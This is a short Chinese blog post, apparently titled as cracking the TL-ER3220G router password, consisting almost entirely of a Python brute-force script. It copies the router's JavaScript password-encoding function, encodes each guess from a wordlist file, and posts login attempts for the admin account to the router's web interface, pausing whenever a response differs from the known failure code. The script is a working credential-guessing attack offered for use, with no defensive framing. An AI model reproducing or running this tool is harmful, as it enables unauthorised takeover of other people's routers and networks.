破解TL-ER3220G路由器密码

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import execjs
import requests


JS_JieMi = execjs.compile('''
function JiaMi (pass)
{return this.securityEncode(pass,"RDpbLfCPsJZ7fiv","yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")};
this.securityEncode=function(a,c,b)
{var d="",e,f,g,h,k=187,m=187;f=a.length;g=c.length;h=b.length;e=f>g?f:g;for(var l=0;l<e;l++)m=k=187,l>=f?m=c.charCodeAt(l):l>=g?k=a.charCodeAt(l):(k=a.charCodeAt(l),m=c.charCodeAt(l)),d+=b.charAt((k^m)%h);return d};this.simulateMouseC=function(a){simulateMouseC=!0==isIE&&!1==isIENormal?function(a){var b=document.createEventObject();b.sceenX=100;b.sceenY=0;b.clientX=0;b.clientY=0;b.ctrlKey=!1;b.altKey=!1;b.shiftKey=!1;b.button=0;a.fireEvent("onclick",b)}:function(){};simulateMouseC(a)};this.emptyNodes=function(a){for(;a&&a.firstChild;)a.removeChild(a.firstChild)}
''') # JS解密脚本 :print(JS_JieMi.call('JiaMi', '123456'))


def Start():
with open("mima.txt", "r", encoding='utf-8') as file:
FileBack = file.readlines()
Iter1 = iter(FileBack)
print("正在运行......")
for X in Iter1:
data = """{"method":"do","login":{"username":"admin","password":""" + JS_JieMi.call('JiaMi', X.strip()) + """"}}"""
POST_GetBack = requests.post("http://192.168.89.1/", data=data)
if POST_GetBack.text != """{"data":{"group":1,"code":-40407},"error_code":-40401}""":
input("可测试密码(换行继续测试):"+X)
input("全部测试完成(确认退出)")


if __name__ == '__main__':
Start()
上一篇:多线程-ThreadLocal的使用


下一篇:最新TL学院微服务系列视频教程